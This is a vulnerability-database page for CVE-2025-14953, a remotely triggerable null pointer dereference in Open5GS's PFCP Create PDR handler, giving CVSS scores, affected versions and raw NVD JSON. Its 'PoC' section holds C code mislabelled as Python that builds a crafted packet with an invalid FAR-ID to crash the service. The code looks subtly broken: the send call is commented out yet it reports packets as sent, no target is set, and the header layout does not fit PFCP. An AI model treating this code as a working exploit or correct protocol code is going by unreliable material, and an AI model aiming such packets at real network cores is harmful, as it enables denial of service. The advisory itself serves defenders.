Security Vulnerability Report
中文
CVE-2025-14953 CVSS 3.1 LOW

CVE-2025-14953

Published: 2025-12-19 16:15:55
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in Open5GS up to 2.7.5. This impacts the function ogs_pfcp_handle_create_pdr in the library lib/pfcp/handler.c of the component FAR-ID Handler. Executing a manipulation can lead to null pointer dereference. The attack may be performed from remote. The attack requires a high level of complexity. The exploitability is said to be difficult. The exploit has been published and may be used. This patch is called 93a9fd98a8baa94289be3b982028201de4534e32. It is advisable to implement a patch to correct this issue.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:* - VULNERABLE
Open5GS <= 2.7.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-14953 PoC - Open5GS PFCP Null Pointer Dereference * Target: Open5GS <= 2.7.5 * Component: lib/pfcp/handler.c - ogs_pfcp_handle_create_pdr * * This PoC demonstrates sending a crafted PFCP Create PDR request * with a non-existent FAR-ID to trigger null pointer dereference. * * Note: This is for educational and security research purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // PFCP Header Structure typedef struct { uint8_t version:3; uint8_t flags:5; uint8_t message_type; uint16_t length; uint32_t sequence_number; uint8_t spare[3]; } pfcp_header_t; // PFCP Create PDR IE Structure typedef struct { uint16_t ie_type; uint16_t ie_length; uint8_t data[]; } pfcp_ie_t; // IE Types #define PFCP_IE_PDR_ID 1 #define PFCP_IE_FAR_ID 2 // Send crafted PFCP Create PDR packet int send_crafted_pfcp_packet(int sockfd, uint32_t seq_num) { // PFCP Header - Version 1, Message Type: Create PDR (0x31) pfcp_header_t header = { .version = 1, .flags = 0, .message_type = 0x31, // Create PDR .length = htons(0), // Will be updated .sequence_number = htonl(seq_num), .spare = {0} }; // Create PDR Information Element with invalid FAR-ID // This triggers null pointer dereference in FAR-ID handler uint8_t create_pdr_ies[] = { // PDR ID IE 0x00, 0x01, // IE Type: PDR ID 0x00, 0x02, // IE Length: 2 0x00, 0x01, // PDR ID Value: 1 // FAR ID IE - Pointing to non-existent FAR 0x00, 0x02, // IE Type: FAR ID 0x00, 0x04, // IE Length: 4 0xFF, 0xFF, 0xFF, 0xFF // Invalid FAR-ID (0xFFFFFFFF) }; // Build complete packet uint8_t packet[256]; memcpy(packet, &header, sizeof(pfcp_header_t)); memcpy(packet + sizeof(pfcp_header_t), create_pdr_ies, sizeof(create_pdr_ies)); // Update length field uint16_t total_length = sizeof(pfcp_header_t) + sizeof(create_pdr_ies); memcpy(packet + 3, &total_length, 2); // Send packet // sendto(sockfd, packet, total_length, 0, (struct sockaddr*)&target, sizeof(target)); printf("[*] Sent crafted PFCP Create PDR packet\n"); printf("[*] Sequence Number: 0x%08x\n", seq_num); printf("[*] PDR ID: 1, FAR ID: 0xFFFFFFFF (invalid)\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-14953 PoC for Open5GS\n"); printf("Target: Open5GS <= 2.7.5\n"); printf("Vulnerability: Null Pointer Dereference in ogs_pfcp_handle_create_pdr\n\n"); int sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("Socket creation failed"); return 1; } // Send multiple crafted packets for (uint32_t seq = 0x00000001; seq <= 0x0000000A; seq++) { send_crafted_pfcp_packet(sockfd, seq); usleep(100000); // 100ms delay } close(sockfd); printf("\n[*] PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14953", "sourceIdentifier": "[email protected]", "published": "2025-12-19T16:15:54.863", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Open5GS up to 2.7.5. This impacts the function ogs_pfcp_handle_create_pdr in the library lib/pfcp/handler.c of the component FAR-ID Handler. Executing a manipulation can lead to null pointer dereference. The attack may be performed from remote. The attack requires a high level of complexity. The exploitability is said to be difficult. The exploit has been published and may be used. This patch is called 93a9fd98a8baa94289be3b982028201de4534e32. It is advisable to implement a patch to correct this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:N/I:N/A:P", "baseScore": 2.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}, {"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7.5", "matchCriteriaId": "7D0FBF91-87F5-4984-AC37-744D9BFC13C0"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/commit/93a9fd98a8baa94289be3b982028201de4534e32", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/open5gs/open5gs/issues/4179", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/open5gs/open5gs/issues/4179#issue-3666399406", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/open5gs/open5gs/issues/4179#issuecomment-3614868758", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.337589", "source": "[email protected]", "tags": ["Permissions Required ... (truncated)